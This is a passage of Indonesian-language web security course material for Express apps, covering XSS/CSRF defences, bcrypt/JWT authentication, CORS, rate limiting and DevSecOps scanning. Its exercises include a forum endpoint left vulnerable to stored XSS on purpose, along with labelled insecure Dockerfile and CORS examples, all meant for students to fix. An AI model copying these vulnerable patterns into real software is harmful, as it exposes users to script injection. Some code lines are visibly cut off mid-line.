`Content-Security-Policy`	Cegah XSS
`X-Content-Type-Options: nosniff`	Cegah MIME sniffing
`X-Frame-Options: DENY`	Cegah clickjacking
`Strict-Transport-Security`	Paksa HTTPS
`X-DNS-Prefetch-Control: off`	Privasi DNS
`Referrer-Policy`	Kontrol referer header
`Cross-Origin-Resource-Policy`	Cegah resource sharing lintas origin

Latihan

Latihan 1: Audit & Fix XSS

Kode forum diskusi berikut RENTAN XSS. Temukan celah dan betulin:

```
// forum.ts — Express endpoint
app.get('/api/thread/:id', async (req: any, res: any) => {
  const thread = await prisma.thread.findUnique({
    where: { id: parseInt(req.params.id) },
    include: { replies: true },
  });

  // Render pake EJS — tapi pake <%- %> (raw)!
  res.render('thread', {
    title: thread.title,
    replies: thread.replies.map((r: any) => r.content),
  });
});

app.post('/api/thread/:id/reply', async (req: any, res: any) => {
  const reply = await prisma.reply.create({
    data: {
      content: req.body.content, // □ simpan mentah!
      threadId: parseInt(req.params.id),
    },
  });
  res.json(reply);
});
```

Tugas:

1. Jelaskan 3 cara attacker bisa exploit XSS di endpoint ini
2. Fix endpoint POST — tambah sanitasi input
3. Pasang CSP header yang tepat (allow CDN buat script, blokir inline)
4. Ubah rendering ke <%= %> atau tambah DOMPurify

Latihan 2: Implementasi CSRF Protection

Kasih CSRF protection ke aplikasi e-commerce sederhana:

```
// TODO: Lengkapi setup CSRF
import { doubleCsrf } from 'csrf-csrf';

// 1. Setup cookie parser dengan secret
// 2. Setup doubleCsrf dengan konfigurasi:
//    - cookie name: __Host-x-csrf-token
```

```
//    - ambil token dari header X-CSRF-Token
//    - sameSite: strict
// 3. Proteksi route POST/PUT/DELETE
// 4. Buat endpoint GET /api/csrf-token

// Route yang perlu diproteksi:
app.post('/api/orders', createOrder);
app.put('/api/profile', updateProfile);
app.delete('/api/account', deleteAccount);
```

Latihan 3: Bikin CSP Policy

Buat CSP policy buat web app berikut:

- Static assets dari CDN: `https://cdn.kamu.com`
- Google Fonts: `https://fonts.googleapis.com`, `https://fonts.gstatic.com`
- Google Analytics: `https://www.google-analytics.com`
- Gambar dari Unsplash: `https://images.unsplash.com`
- WebSocket API di: `wss://api.kamu.com`
- Inline style diperbolehkan (pake `'unsafe-inline'`)
- Inline script TIDAK diperbolehkan

```
// TODO: Tulis CSP directives yang tepat
const cspDirectives = {
  defaultSrc: // ...
  scriptSrc:  // ...
  styleSrc:   // ...
  imgSrc:     // ...
  connectSrc: // ...
  fontSrc:    // ...
};
```

Latihan 4: Same-Site Cookies vs CSRF Token

Kamu punya 2 aplikasi:

1. **Banking API** — transfer uang, ganti password, admin panel
2. **Social Media** — like, komentar, share

Tugas:

1. Tentukan tiap aplikasi pake SameSite apa (Strict/Lax/None)
2. Kapan CSRF token masih perlu meski udah pake SameSite?
3. Tulis konfigurasi cookie untuk kedua aplikasi

Ringkasan

Ancaman	Pencegahan Utama	Pencegahan Tambahan
Stored XSS	Sanitasi input (escape/DOMPurify)	CSP `script-src 'self'`
Reflected XSS	Jangan render input mentah	CSP + <%= %>
DOM-based XSS	Hindari innerHTML	DOMPurify
CSRF	SameSite=Strict	CSRF token
Clickjacking	X-Frame-Options: DENY	Frame-Src CSP

> **Prinsip:** XSS dicegah dari server (sanitasi) + browser (CSP). CSRF dicegah dari cookie (SameSite) + token. Jangan andelin cuma satu lapis.

Sesi 3: Secure Auth, CORS & HTTPS

> **Durasi:** 2 jam **Tujuan:** Implementasi authentication aman (bcrypt + JWT), CORS yang benar, HTTPS, rate limiting

---

Bcrypt — Password Hashing

Jangan pernah simpan password dalam bentuk apapun yang bisa dibaca. Bcrypt hash pake **salt** + **cost factor** biar lambat — brute force jadi nggak praktis.

Kenapa Bcrypt?

Algoritma	Waktu Hash (1M attempts)	Aman?
MD5	< 1 detik	□ Bocor
SHA1	< 1 detik	□ Bocor
bcrypt (cost 12)	~250 ms per hash	□ Aman
Argon2id	~300 ms per hash	□ Paling aman

Implementasi Register

```
import bcrypt from 'bcrypt';
import { PrismaClient } from '@prisma/client';

const prisma = new PrismaClient();
const SALT_ROUNDS = 12; // cost factor — higher = slower = safer
```

```
app.post('/api/auth/register', async (req: any, res: any) => {
  const { email, password, nama } = req.body;

  // 1. Validasi input
  if (typeof email !== 'string' || typeof password !== 'string') {
    return res.status(400).json({ error: 'Input tidak valid' });
  }
  if (password.length < 8) {
    return res.status(400).json({ error: 'Password minimal 8 karakter' });
  }

  // 2. Cek email udah terdaftar
  const existing = await prisma.user.findUnique({ where: { email } });
  if (existing) {
    return res.status(409).json({ error: 'Email sudah terdaftar' });
  }

  // 3. Hash password — otomatis generate salt + hash
  const hashedPassword = await bcrypt.hash(password, SALT_ROUNDS);

  // 4. Simpan user — jangan simpan password mentah!
  const user = await prisma.user.create({
    data: { email, nama, password: hashedPassword },
    select: { id: true, email: true, nama: true, createdAt: true },
  });

  res.status(201).json({ message: 'Registrasi berhasil', user });
});
```

Implementasi Login

```
import jwt from 'jsonwebtoken';

app.post('/api/auth/login', async (req: any, res: any) => {
  const { email, password } = req.body;

  if (typeof email !== 'string' || typeof password !== 'string') {
    return res.status(400).json({ error: 'Input tidak valid' });
  }

  // 1. Cari user by email
  const user = await prisma.user.findUnique({
    where: { email },
  });
```

```
  if (!user) {
    // Jangan bilang "user not found" — kasih tau "email/password salah"
    return res.status(401).json({ error: 'Email atau password salah' });
  }

  // 2. Compare password pake bcrypt
  const passwordMatch = await bcrypt.compare(password, user.password);
  if (!passwordMatch) {
    return res.status(401).json({ error: 'Email atau password salah' });
  }

  // 3. Generate JWT
  const token = jwt.sign(
    { userId: user.id, role: user.role },
    process.env.JWT_SECRET as string,
    { expiresIn: '15m' } // access token — short expiry
  );

  // 4. Set cookie httpOnly
  res.cookie('token', token, {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'strict',
    maxAge: 15 * 60 * 1000, // 15 menit
  });

  // 5. Return sukses
  res.json({
    message: 'Login berhasil',
    user: { id: user.id, email: user.email, nama: user.nama },
  });
});
```

Best Practices Password

```
// □ Minimum requirement
const passwordPolicy = {
  minLength: 8,
  maxLength: 128, // bcrypt punya limit 72 bytes
  requireUppercase: true,
  requireLowercase: true,
  requireNumber: true,
  requireSymbol: true,
};
```

```ts
function validatePassword(password: string): string | null {
  if (password.length < passwordPolicy.minLength) {
    return `Password minimal ${passwordPolicy.minLength} karakter`;
  }
  if (!/[A-Z]/.test(password)) {
    return 'Password harus ada huruf besar';
  }
  if (!/[a-z]/.test(password)) {
    return 'Password harus ada huruf kecil';
  }
  if (!/[0-9]/.test(password)) {
    return 'Password harus ada angka';
  }
  if (!/[!@#$%^&*]/.test(password)) {
    return 'Password harus ada simbol';
  }
  return null; // valid
}
```

JWT — Secure Token Management

Generate JWT (Sign)

```ts
import jwt from 'jsonwebtoken';

const JWT_SECRET = process.env.JWT_SECRET as string;
const REFRESH_SECRET = process.env.REFRESH_SECRET as string;

// Access token — short lived (15 menit)
function generateAccessToken(user: { id: number; role: string }) {
  return jwt.sign(
    { userId: user.id, role: user.role },
    JWT_SECRET,
    { expiresIn: '15m', issuer: 'myapp' }
  );
}

// Refresh token — long lived (7 hari)
function generateRefreshToken(user: { id: number }) {
  return jwt.sign(
    { userId: user.id, tokenVersion: Date.now() },
    REFRESH_SECRET,
    { expiresIn: '7d', issuer: 'myapp' }
```

```
  );
}
```

Verify JWT (Auth Middleware)

```
// middleware/auth.ts
import { Request, Response, NextFunction } from 'express';
import jwt from 'jsonwebtoken';

interface AuthRequest extends Request {
  user?: { userId: number; role: string };
}

function authenticate(req: AuthRequest, res: Response, next: NextFunction) {
  // Ambil token dari cookie (priority) atau Authorization header
  const token =
    req.cookies?.token ||
    req.headers.authorization?.replace('Bearer ', '');

  if (!token) {
    return res.status(401).json({ error: 'Akses ditolak. Login dulu.' });
  }

  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET as string) as {
      userId: number;
      role: string;
    };
    req.user = decoded;
    next();
  } catch (err) {
    if (err instanceof jwt.TokenExpiredError) {
      return res.status(401).json({
        error: 'Token expired',
        code: 'TOKEN_EXPIRED',
      });
    }
    return res.status(401).json({ error: 'Token tidak valid' });
  }
}

function authorize(...roles: string[]) {
  return (req: AuthRequest, res: Response, next: NextFunction) => {
    if (!req.user) {
      return res.status(401).json({ error: 'Belum login' });
```

```
    }
    if (!roles.includes(req.user.role)) {
      return res.status(403).json({ error: 'Forbidden' });
    }
    next();
  };
}

export { authenticate, authorize, AuthRequest };
```

Refresh Token Flow

```
app.post('/api/auth/refresh', async (req: any, res: any) => {
  const refreshToken = req.cookies?.refreshToken;
  if (!refreshToken) {
    return res.status(401).json({ error: 'Refresh token tidak ada' });
  }

  try {
    const decoded = jwt.verify(
      refreshToken,
      process.env.REFRESH_SECRET as string
    ) as { userId: number };

    // Generate new access token
    const user = await prisma.user.findUnique({
      where: { id: decoded.userId },
      select: { id: true, role: true },
    });

    if (!user) {
      return res.status(401).json({ error: 'User tidak ditemukan' });
    }

    const newAccessToken = generateAccessToken(user);

    res.cookie('token', newAccessToken, {
      httpOnly: true,
      secure: process.env.NODE_ENV === 'production',
      sameSite: 'strict',
      maxAge: 15 * 60 * 1000,
    });

    res.json({ message: 'Token refreshed' });
  } catch (err) {
```

```
    return res.status(401).json({ error: 'Refresh token expired. Login ulang.' }
  }
});
```

JWT Security Checklist

Praktik	Wajib?
Secret minimal 256-bit (32 bytes hex)	□ WAJIB
Expiry singkat (15 menit access, 7 hari refresh)	□ WAJIB
httpOnly cookie (jangan localStorage)	□ WAJIB
Verifikasi di setiap protected endpoint	□ WAJIB
Jangan pake `noTimestamp`	□ Sangat disarankan
Jangan simpan sensitive data di payload	□ Sangat disarankan
Validate issuer & audience	□ Tambahan

CORS — Cross-Origin Resource Sharing

CORS = mekanisme browser buat ngontrol domain mana yang boleh akses API lo.

Konfigurasi CORS yang Benar

```
import cors from 'cors';

// □ RENTAN — buka untuk semua domain!
app.use(cors({ origin: '*' }));

// □ AMAN — whitelist origin spesifik
const allowedOrigins = [
  process.env.FRONTEND_URL || 'http://localhost:5173',
  'https://admin.kamu.com',
];

app.use(cors({
  origin: (origin, callback) => {
    // Allow requests with no origin (mobile apps, curl, Postman)
    if (!origin) return callback(null, true);

    if (allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
```

```
      callback(new Error('Origin tidak diizinkan'));
    }
  },
  credentials: true,   // allow cookie/auth headers
  methods: ['GET', 'POST', 'PUT', 'DELETE', 'PATCH'],
  allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
  exposedHeaders: ['X-Request-Id'],
  maxAge: 86400,       // cache preflight response 24 jam
}));

// Tangani CORS error
app.use((err: any, req: any, res: any, next: any) => {
  if (err.message === 'Origin tidak diizinkan') {
    return res.status(403).json({ error: 'CORS error: origin tidak dikenal' });
  }
  next(err);
});
```

CORS & Credentials

Kalo pake cookie auth, wajib set:

```
// Server
app.use(cors({
  origin: 'https://frontend-kamu.com', // spesifik — jangan '*'
  credentials: true,                   // allow cookie
}));

// Client (fetch)
fetch('https://api.kamu.com/data', {
  credentials: 'include', // kirim cookie
});

// Client (axios)
axios.get('https://api.kamu.com/data', {
  withCredentials: true,
});
```

HTTPS & SSL

Redirect HTTP → HTTPS di Express

```
// □ AMAN — redirect semua HTTP ke HTTPS
app.use((req: any, res: any, next: any) => {
```

```
  if (
    req.headers['x-forwarded-proto'] !== 'https' &&
    process.env.NODE_ENV === 'production'
  ) {
    return res.redirect(301, `https://${req.hostname}${req.originalUrl}`);
  }
  next();
});

// Atau pake express-sslify (lebih clean)
import sslify from 'express-sslify';
app.use(sslify.HTTPS({ trustProtoHeader: true }));
```

Certbot — SSL Gratis

```
# Install Certbot
sudo apt update
sudo apt install certbot python3-certbot-nginx

# Dapetin SSL untuk domain
sudo certbot --nginx -d domainkamu.com -d www.domainkamu.com

# Auto-renew (Certbot otomatis bikin cron)
sudo certbot renew --dry-run

# Verifikasi
sudo certbot certificates
```

HSTS — Paksa HTTPS

```
import helmet from 'helmet';

app.use(helmet({
  strictTransportSecurity: {
    maxAge: 31536000,       // 1 tahun
    includeSubDomains: true, // termasuk subdomain
    preload: true,           // register di browser HSTS preload list
  },
}));
```

Rate Limiting

Per-Endpoint Rate Limiter

```
import rateLimit from 'express-rate-limit';

// Login — 5 percobaan per 15 menit
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  message: { error: 'Terlalu banyak percobaan login. Coba 15 menit lagi.' },
  standardHeaders: true,
  legacyHeaders: false,
  skipSuccessfulRequests: false, // hitung semua request
});

// Register — 3 percobaan per jam
const registerLimiter = rateLimit({
  windowMs: 60 * 60 * 1000,
  max: 3,
  message: { error: 'Terlalu banyak registrasi. Coba 1 jam lagi.' },
});

// API umum — 100 request per menit
const apiLimiter = rateLimit({
  windowMs: 60 * 1000,
  max: 100,
  message: { error: 'Rate limit exceeded. Coba lagi nanti.' },
});

// Apply
app.use('/api/auth/login', loginLimiter);
app.use('/api/auth/register', registerLimiter);
app.use('/api', apiLimiter);
```

Rate Limiter by User Role

```
function createRoleBasedLimiter(maxRequests: number, windowMs: number) {
  return rateLimit({
    windowMs,
    max: (req) => {
      // Admin dapet limit lebih tinggi
      if (req.user?.role === 'admin') return maxRequests * 5;
      return maxRequests;
    },
    keyGenerator: (req) => {
```

```
      // Group by IP + userId kalo ada
      return req.user?.userId
        ? `user:${req.user.userId}`
        : `ip:${req.ip}`;
    },
  });
}

const userLimiter = createRoleBasedLimiter(100, 60 * 1000);
app.use('/api', userLimiter);
```

Secure Headers — Complete Setup

Gabungin semua middleware keamanan:

```
// middleware/security.ts
import helmet from 'helmet';
import cors from 'cors';
import rateLimit from 'express-rate-limit';
import hpp from 'hpp';

export function setupSecurity(app: any) {
  // 1. Helmet — 15+ security headers
  app.use(helmet({
    contentSecurityPolicy: {
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"],
        styleSrc: ["'self'", "'unsafe-inline'"],
        imgSrc: ["'self'", "data:"],
        connectSrc: ["'self'"],
        fontSrc: ["'self'"],
        objectSrc: ["'none'"],
        frameSrc: ["'none'"],
        upgradeInsecureRequests: [],
      },
    },
    hsts: {
      maxAge: 31536000,
      includeSubDomains: true,
      preload: true,
    },
  }));
```

```
  // 2. CORS — whitelist
  app.use(cors({
    origin: process.env.FRONTEND_URL || 'http://localhost:5173',
    credentials: true,
  }));

  // 3. Rate limiting global
  app.use(rateLimit({
    windowMs: 15 * 60 * 1000,
    max: 100,
  }));

  // 4. HTTP parameter pollution protection
  app.use(hpp());

  // 5. Trust proxy (kalo di belakang NGINX/reverse proxy)
  app.set('trust proxy', 1);
}
```

Latihan

Latihan 1: Register + Login Aman

Bikin auth system lengkap dengan best practices:

```
// TODO: Lengkapi endpoint auth
// Requirements:
// 1. Register: validasi password (min 8, ada huruf besar/kecil/angka)
// 2. Hash pake bcrypt (cost 12)
// 3. Login: compare bcrypt, jangan kasih tau user mana yang salah
// 4. JWT: expiry 15 menit, httpOnly cookie, sameSite strict
// 5. Refresh token: 7 hari, endpoint /api/auth/refresh
// 6. Rate limit: 5x/15menit buat login, 100x/menit buat API

app.post('/api/auth/register', async (req: any, res: any) => {
  // ...kode lo
});

app.post('/api/auth/login', async (req: any, res: any) => {
  // ...kode lo
});

app.post('/api/auth/refresh', async (req: any, res: any) => {
  // ...kode lo
});
```

Latihan 2: Auth Middleware + Role-based Access

Bikin middleware auth dengan role-based access:

```
// TODO: Lengkapi middleware
// Requirements:
// 1. authenticate — verifikasi JWT, attach user ke req
// 2. authorize('admin') — cuma admin boleh akses
// 3. Handle TokenExpiredError dengan pesan jelas
// 4. Handle missing token dengan 401

function authenticate(req: any, res: any, next: any) {
  // ...kode lo
}

function authorize(...roles: string[]) {
  return (req: any, res: any, next: any) => {
    // ...kode lo
  };
}

// Protected route — cuma admin
app.delete('/api/users/:id', authenticate, authorize('admin'), async (req: any,
  // ...kode lo
});
```

Latihan 3: CORS + Rate Limiter Config

Buat konfigurasi keamanan untuk API fintech:

```
// TODO: Konfigurasi buat API fintech
// 1. CORS: cuma domain frontend (https://app.fintech.com) + dashboard admin
// 2. Rate limit:
//    - Login: 3x/15menit (brute force protection)
//    - Transfer: 5x/menit per user
//    - API umum: 60x/menit
// 3. Role-based rate limit: admin bebas
// 4. HTTPS redirect + HSTS (1 tahun)

const corsOptions = {
  // ...kode lo
};

const loginLimiter = rateLimit({
  // ...kode lo
});
```

```
// ...kode selanjutnya
```

Latihan 4: Security Headers Audit

Audit aplikasi Express berikut dan laporan header yang kurang:

```
// Aplikasi saat ini:
const express = require('express');
const app = express();

app.get('/api/users', (req, res) => {
  res.json([{ id: 1, name: 'Budi' }]);
});

app.listen(3000);
```

Tugas:

1. Cek header HTTP yang hilang (pake curl -I atau browser devtools)
2. Tambah: Helmet, CORS, Rate Limiter
3. Tambah: HTTPS redirect middleware
4. Verifikasi pake `curl -I http://localhost:3000`

Ringkasan

Area	Best Practice
Password	bcrypt (cost ≥ 12), validasi strength
JWT	Secret 256-bit, expiry 15m, httpOnly cookie
CORS	Whitelist origin, jangan *
HTTPS	Redirect HTTP→HTTPS, HSTS, Certbot
Rate Limit	Per-endpoint, role-based, standard headers

Prinsip: Authentication & transport security adalah fondasi. Kalo ini bocor, proteksi lain nggak ada artinya.

Sesi 4: DevSecOps — Dependency & CI/CD Security

Durasi: 2 jam **Tujuan:** Setup dependency scanning, secrets management, Docker security, CI/CD security pipeline

---

Dependency Scanning

Masalah: 90% kode aplikasi modern berasal dari package pihak ketiga (npm). Setiap package bisa punya CVE (Common Vulnerabilities and Exposures).

npm audit

Tool bawaan npm buat scan dependency known vulnerabilities:

```
# Audit dependency
npm audit

# Contoh output:
#
#   critical        Prototype Pollution in lodash
#   high            Regular Expression DoS in validator
#   moderate        Path Traversal in express
#
#

# Audit + fix otomatis (patch minor)
npm audit fix

# Audit + breaking changes (hati-hati)
npm audit fix --force

# Lihat audit JSON (buat reporting)
npm audit --json > audit-report.json
```

Membuat Script Audit

```
// package.json
{
  "scripts": {
    "audit": "npm audit --audit-level=high",
    "audit:fix": "npm audit fix --audit-level=moderate",
    "audit:ci": "npm audit --audit-level=high --registry=https://registry.npmjs.
  }
}
```

CI/CD Failure on High Vulnerabilities

```
# .github/workflows/audit.yml
name: Dependency Audit
```

```yaml
on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]
  schedule:
    - cron: '0 6 * * 1' # every Monday 6 AM

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: 'npm'

      - run: npm ci
      - run: npm audit --audit-level=high
        # □ Pipeline FAIL kalo ada critical/high vuln
```

Snyk — Advanced Scanning

Snyk lebih advanced dari npm audit — detect **licensing issues**, **code-level vulns**, dan **container vulns**.

```
# Install Snyk CLI
npm install -g snyk

# Login (butuh akun — free tier cukup)
snyk auth

# Test dependency vulnerabilities
snyk test

# Test dengan threshold
snyk test --severity-threshold=high

# Continuous monitoring
snyk monitor

# Ignore specific vuln (dengan alasan)
snyk ignore --id=SNYK-JS-LODASH-590103 --expiry=2025-12-31 --reason='No fix avai
```

Snyk di GitHub Actions

```yaml
# .github/workflows/snyk.yml
name: Snyk Security Scan

on: [push, pull_request]

jobs:
  snyk:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Run Snyk to check for vulnerabilities
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
        with:
          args: --severity-threshold=high
```

Dependabot — Auto PR for Vulnerable Deps

GitHub built-in — otomatis bikin PR kalo ada dependency vulnerable.

```yaml
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: 'npm'
    directory: '/'
    schedule:
      interval: 'weekly'
      day: 'monday'
    open-pull-requests-limit: 10
    labels:
      - 'dependencies'
      - 'security'
    reviewers:
      - 'team-lead'
    # Only bump package.json (not lockfile)
    versioning-strategy: increase
```

Secrets Management

.env — Jangan Commit ke Git

```
# ❌ SALAH — jangan pernah!
git add .env
git commit -m "add config"
git push  # ❌ SECRET LEAKED!

# ✅ BENAR
# 1. Pastiin .env ada di .gitignore
echo ".env" >> .gitignore
echo ".env.local" >> .gitignore

# 2. Buat .env.example sebagai template
# .env.example (boleh di-commit)
DB_HOST=localhost
DB_USER=root
DB_PASS=your_password_here
JWT_SECRET=your_jwt_secret_here

# 3. Kalo udah terlanjur commit — ganti semua secret!
# Hapus dari git history (rewrite — hati-hati!)
git filter-branch --force --index-filter \
  'git rm --cached --ignore-unmatch .env' \
  --prune-empty --tag-name-filter cat -- --all
```

Best Practices .env

```
# .env
NODE_ENV=production
PORT=3000

# Database
DB_HOST=localhost
DB_PORT=5432
DB_NAME=myapp_prod
DB_USER=myapp
DB_PASS=s3cur3P@ssw0rd!

# Auth
JWT_SECRET=5f8a2b1c9d3e7f4a6b0c2d8e1f4a6b0c
JWT_REFRESH_SECRET=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
CSRF_SECRET=9f1e2d3c4b5a6f7e8d9c0b1a2f3e4d5c

# External Services
```

```
REDIS_URL=redis://:password@localhost:6379
SENDGRID_API_KEY=SG.xxxxx
STRIPE_SECRET_KEY=sk_test_xxxxx

# Frontend
FRONTEND_URL=https://app.kamu.com
```

Production Secrets — Jangan Pake .env!

```
// ✅ AMAN — pake environment variable dari platform
const config = {
  db: {
    host: process.env.DB_HOST,
    user: process.env.DB_USER,
    password: process.env.DB_PASS,
    name: process.env.DB_NAME,
  },
  jwt: {
    secret: process.env.JWT_SECRET,
    refreshSecret: process.env.JWT_REFRESH_SECRET,
  },
};

// Validasi config di startup
function validateConfig() {
  const required = [
    'DB_HOST', 'DB_USER', 'DB_PASS', 'JWT_SECRET', 'FRONTEND_URL',
  ];

  for (const key of required) {
    if (!process.env[key]) {
      throw new Error(`Missing required env: ${key}`);
    }
  }
}

validateConfig();
```

Vault — Enterprise Secrets Management

Buat tim besar / perusahaan — pake HashiCorp Vault:

```
// Di kode — jangan pake Vault di SMK, cukup tau konsepnya
// Vault = centralized secrets storage, akses via API/token
// Keuntungan:
//  - Secrets dienkripsi at-rest
```

```
//   - Audit log siapa akses apa
//   - Auto-rotate secrets
//   - Dynamic secrets (DB credentials auto-generated)

import vault from 'node-vault';

const client = vault({
  apiVersion: 'v1',
  endpoint: 'https://vault.kamu.com',
  token: process.env.VAULT_TOKEN,
});

const { data } = await client.read('secret/data/db');
const dbPassword = data.data.data.password;
```

Docker Security

Dockerfile Aman

```
# ❌ RENTAN — jangan pake base image besar + root user
FROM node:20
COPY . /app
RUN npm install
CMD ["node", "dist/index.js"]
USER root  # ❌ Hacker dapet root akses!

# ✅ AMAN — multi-stage build + non-root user
# Stage 1: Build
FROM node:20-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
RUN npm run build

# Stage 2: Production (minimal)
FROM node:20-alpine AS production
WORKDIR /app

# 1. Non-root user
RUN addgroup -g 1001 -S nodejs && \
    adduser -S nodejs -u 1001

# 2. Cuma copy yang diperlukan
```

```
COPY --from=builder /app/dist ./dist
COPY --from=builder /app/node_modules ./node_modules
COPY --from=builder /app/package.json ./

# 3. Non-root
USER nodejs

# 4. Health check
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
  CMD node dist/health.js || exit 1

EXPOSE 3000
CMD ["node", "dist/index.js"]
```

Docker Compose Aman

```
# docker-compose.yml
version: '3.8'

services:
  app:
    build: .
    ports:
      - '3000:3000'
    environment:
      - NODE_ENV=production
    env_file:
      - .env.production
    # Jangan expose port database!
    networks:
      - internal
    # Resource limits — cegah DDoS
    deploy:
      resources:
        limits:
          cpus: '0.5'
          memory: '512M'
    # Root filesystem read-only
    read_only: true
    # Drop all capabilities
    cap_drop:
      - ALL
    # Jangan jalan sebagai root
    user: '1001:1001'
```

```yaml
  postgres:
    image: postgres:16-alpine
    environment:
      - POSTGRES_PASSWORD_FILE=/run/secrets/db_password
    # Jangan expose port ke host!
    # ports: - '5432:5432' 
    expose:
      - '5432' # cuma container lain di network yang bisa akses
    secrets:
      - db_password
    networks:
      - internal
    volumes:
      - pgdata:/var/lib/postgresql/data

secrets:
  db_password:
    file: ./secrets/db_password.txt

volumes:
  pgdata:

networks:
  internal:
    driver: bridge
```

Scan Docker Image for Vulns

```bash
# Trivy — open-source container scanner
# Install
sudo apt install trivy

# Scan image
trivy image myapp:latest

# Scan dengan threshold
trivy image --severity CRITICAL,HIGH myapp:latest

# Output JSON
trivy image --format json --output report.json myapp:latest

# Di CI
# - Fails pipeline kalo ada CRITICAL vuln
```

CI/CD Security Scanning

GitHub Actions — Complete Security Pipeline

```yaml
# .github/workflows/security.yml
name: Security Pipeline

on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]

jobs:
  # 1. Audit dependency
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: 'npm'
      - run: npm ci
      - run: npm audit --audit-level=high
        continue-on-error: true # jangan block pipeline — cukup notifikasi

  # 2. Lint + SAST (Static Analysis)
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: 'npm'
      - run: npm ci
      - run: npm run lint
      # CodeQL — GitHub's SAST
      - uses: github/codeql-action/init@v3
        with:
          languages: javascript
      - uses: github/codeql-action/analyze@v3

  # 3. Secret leak detection
  secrets:
```

```yaml
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0 # full history
      - name: GitLeaks
        uses: gitleaks/gitleaks-action@v2
        env:
          GITLEAKS_LICENSE: ${{ secrets.GITLEAKS_LICENSE }}
        # Gagal kalo ada secret terdeteksi

  # 4. Docker scan (kalo pake container)
  docker-scan:
    runs-on: ubuntu-latest
    if: github.event_name == 'push'
    steps:
      - uses: actions/checkout@v4
      - name: Build image
        run: docker build -t myapp:${{ github.sha }} .
      - name: Scan image
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: 'myapp:${{ github.sha }}'
          format: 'sarif'
          output: 'trivy-results.sarif'
          severity: 'CRITICAL,HIGH'
      - name: Upload results
        uses: github/codeql-action/upload-sarif@v3
        with:
          sarif_file: 'trivy-results.sarif'
```

Pre-commit Hook — Cegah Secret Leak

```bash
# .husky/pre-commit (pake husky)
#!/bin/sh
. "$(dirname "$0")/_/husky.sh"

# Cek file yang di-stage
npx secretlint "**/*.env*"
npx lint-staged

# Atau pake git-secrets
git secrets --scan
```

.gitignore Lengkap

```
# .gitignore
# === Environment ===
.env
.env.local
.env.*.local
.env.production

# === Dependencies ===
node_modules/

# === Build ===
dist/
build/
*.tsbuildinfo

# === Logs ===
*.log
npm-debug.log*
yarn-debug.log*
lerna-debug.log*

# === IDE ===
.vscode/
.idea/
*.swp
*.swo
.DS_Store

# === Testing ===
coverage/
.nyc_output/

# === Secrets (other formats) ===
*.key
*.pem
*.p12
*.pfx
secrets/
```

Security Headers Checklist

Complete Checklist

```ts
// middleware/security-headers.ts
import { Request, Response, NextFunction } from 'express';

export function securityHeaders(req: Request, res: Response, next: NextFunction)
  // 1. X-Content-Type-Options — cegah MIME sniffing
  res.setHeader('X-Content-Type-Options', 'nosniff');

  // 2. X-Frame-Options — cegah clickjacking
  res.setHeader('X-Frame-Options', 'DENY');

  // 3. X-XSS-Protection — disable, pake CSP
  res.setHeader('X-XSS-Protection', '0');

  // 4. Strict-Transport-Security — paksa HTTPS
  res.setHeader(
    'Strict-Transport-Security',
    'max-age=31536000; includeSubDomains; preload'
  );

  // 5. Content-Security-Policy — cegah XSS
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; ob
  );

  // 6. Referrer-Policy — kontrol info referer
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

  // 7. Permissions-Policy — batasi API browser
  res.setHeader(
    'Permissions-Policy',
    'camera=(), microphone=(), geolocation=(), payment=()'
  );

  // 8. Cross-Origin-Opener-Policy — isolasi browsing context
  res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');

  // 9. Cross-Origin-Resource-Policy — batasi resource sharing
  res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');

  // 10. Remove X-Powered-By — jangan kasih tau tech stack
  res.removeHeader('X-Powered-By');
```

```
  next();
}

// Di app.ts
app.use(securityHeaders);
```

Verifikasi Security Headers

```
# Cek header HTTP
curl -I https://api.kamu.com

# Contoh response yang aman:
# HTTP/2 200
# content-type: application/json; charset=utf-8
# x-content-type-options: nosniff
# x-frame-options: DENY
# strict-transport-security: max-age=31536000; includeSubDomains; preload
# content-security-policy: default-src 'self'; script-src 'self'; ...
# referrer-policy: strict-origin-when-cross-origin
# permissions-policy: camera=(), microphone=(), geolocation=()
# cross-origin-opener-policy: same-origin
# cross-origin-resource-policy: same-origin
#  Kalo header di atas ada yang ilang — perlu diperbaiki!
```

Online Security Header Checker

```
# Gunakan tools berikut buat audit:
# - https://securityheaders.com
# - https://sslabs.com/ssltest
# - https://observatory.mozilla.org
```

Latihan

Latihan 1: Setup npm Audit + Fix

```
# TODO: Kerjain di terminal
# 1. Bikin project Express baru: npm init -y
# 2. Install package lama yang vulnerable:
#    npm install express@4.16.0 lodash@4.17.15
# 3. Jalanin npm audit — catet jumlah vuln
# 4. Fix pake npm audit fix
# 5. Bandingin jumlah vuln sebelum & sesudah
# 6. Buat script audit di package.json
```

Latihan 2: Bikin Dependabot Config

Buat file `.github/dependabot.yml` untuk project Express:

```yaml
# TODO: Lengkapi konfigurasi Dependabot
version: 2
updates:
